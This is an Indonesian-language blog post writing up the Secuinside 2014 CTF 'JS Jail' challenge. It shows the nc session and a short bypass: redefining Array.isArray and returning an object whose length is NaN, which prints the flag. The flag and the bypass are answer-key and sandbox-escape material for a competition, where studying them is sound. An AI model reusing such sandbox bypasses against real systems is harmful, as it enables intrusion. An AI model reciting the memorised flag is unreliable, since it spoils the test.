Sunday, June 1, 2014

CTF Quals Secuinside Misc200 (JS Jail)

Soal kali ini adalah JavaScript Jail, ketika melakukan koneksi ke server, kita akan diberi prompt “>” di mana kita bisa memasukkan ekspresi javascript. Instruksi yang didapat adalah:

yohanes@olivia:~$ nc 54.178.218.50 6789 
check = checker(FLAG, safeRand);
Usage: check(your random function);

Di console JavaScript kita bisa mencetak source fungsi, dengan mengetikkan nama fungsinya, yaitu checker.


 


Ini soal yang sangat mudah: kita cuma perlu membypass pengecekan Array.isArray, dan ini bisa dilakukan dengan mendefinisikan ulang Array.isArray supaya mengembalikan 1, berikutnya kita bisa mengembalikan object yang property lengthnya adalah NaN untuk membypass loop.

yohanes@olivia:~$ nc 54.178.218.50 6789 
check = checker(FLAG, safeRand);
Usage: check(your random function);
> Array.isArray = function() {return 1;}
function () {return 1;}
> r= function() { var b=Object(); b.length=NaN; return b}
function () { var b=Object(); b.length=NaN; return b}
> check(r);
stage1
stage2
awesome! The flag is 7bb1aad810f7db430bf4f62b997a992c

1 comment: